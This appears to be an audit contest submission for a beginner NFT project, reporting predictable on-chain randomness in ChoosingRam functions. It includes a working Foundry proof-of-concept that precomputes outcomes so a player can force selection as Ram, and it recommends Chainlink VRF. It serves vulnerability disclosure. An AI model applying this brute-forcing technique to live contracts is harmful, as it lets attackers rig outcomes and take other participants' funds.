Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Weak randomness can be precalculted and exploited by malicious users

Summary

Weak randomness can be precalculted and exploited by malicious users

Vulnerability Details

Generating random numbers based on block data is not secure, as a malicious contract can precalculate it and make decisions in its favor. In this case, a hash generated from block.timestamp, block.prevrandao, and msg.sender is being used.
Furthermore, in Arbitrum, block.prevrandao is a constant, so the randomness is further diminished.
With this a malicious user can guess the outcome of ChoosingRam::increaseValuesOfParticipants.

function testPredictableRandomnessInIncreaseValues(uint256 blockNumber) public participants{
// Init block before TimeToBeLikeRamFinish
vm.assume(blockNumber < 1728691200);
vm.roll(blockNumber);
uint256 loop = 0;
// Predict the randomness for the `increaseValuesOfParticipants` function
do {
loop++;
vm.roll(block.number + 1);
vm.warp(block.timestamp + 1);
uint256 predictableRandom = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, player1))) % 2;
console.log("Predictable Random Value:", predictableRandom);
if (predictableRandom == 0) {
// We have a favorable condition
console.log("Favorable condition met, executing attack...");
vm.startPrank(player1);
choosingRam.increaseValuesOfParticipants(0, 1);
vm.stopPrank();
// Check that player1's characteristics have been updated
RamNFT.CharacteristicsOfRam memory characteristics = ramNFT.getCharacteristics(0);
if (
characteristics.isJitaKrodhah &&
characteristics.isDhyutimaan &&
characteristics.isVidvaan &&
characteristics.isAatmavan &&
characteristics.isSatyavaakyah
) {
console.log("All Characteristics are true, breaking the loop...");
break; // Exit the loop once all Characteristics are set to true
}
}
} while (loop < 100);
assertEq(choosingRam.selectedRam(), player1);
}

I should note also the vulnerability is present in the function ChoosingRam::selectRamIfNotSelected, in this case a miner can hold on to the transaction until the output is favorable and executes the transaction

uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter();

Impact

  • A malicious user can use the weak randomness in order to bruteforce the function choosingRam::increaseValuesOfParticipants be selected as Ram, kill ravana and win half the pot.

  • A malicious miner can use the weak randomness in order to wait for the right bock to be selected as Ram, kill ravana and win half the pot.

Tools Used

Foundry

Recommendations

Implement a solution with a verifiable source of randomness, such as Chainlink VRF, to ensure that the randomness cannot be predicted or manipulated by attackers.
By using Chainlink VRF, you can replace the insecure randomness generation with a verifiable and secure random number. This approach ensures that the randomness is truly unpredictable and prevents attackers from exploiting it.

Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak randomness in `ChoosingRam::increaseValuesOfParticipants`

waydou Submitter
about 1 year ago
bube Lead Judge
about 1 year ago
bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak randomness in `ChoosingRam::increaseValuesOfParticipants`

Weak randomness in `ChoosingRam::selectRamIfNotSelected`

The organizer is trusted, but the function `ChoosingRam::selectRamIfNotSelected` uses a way to generate a random number that is not completely random.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.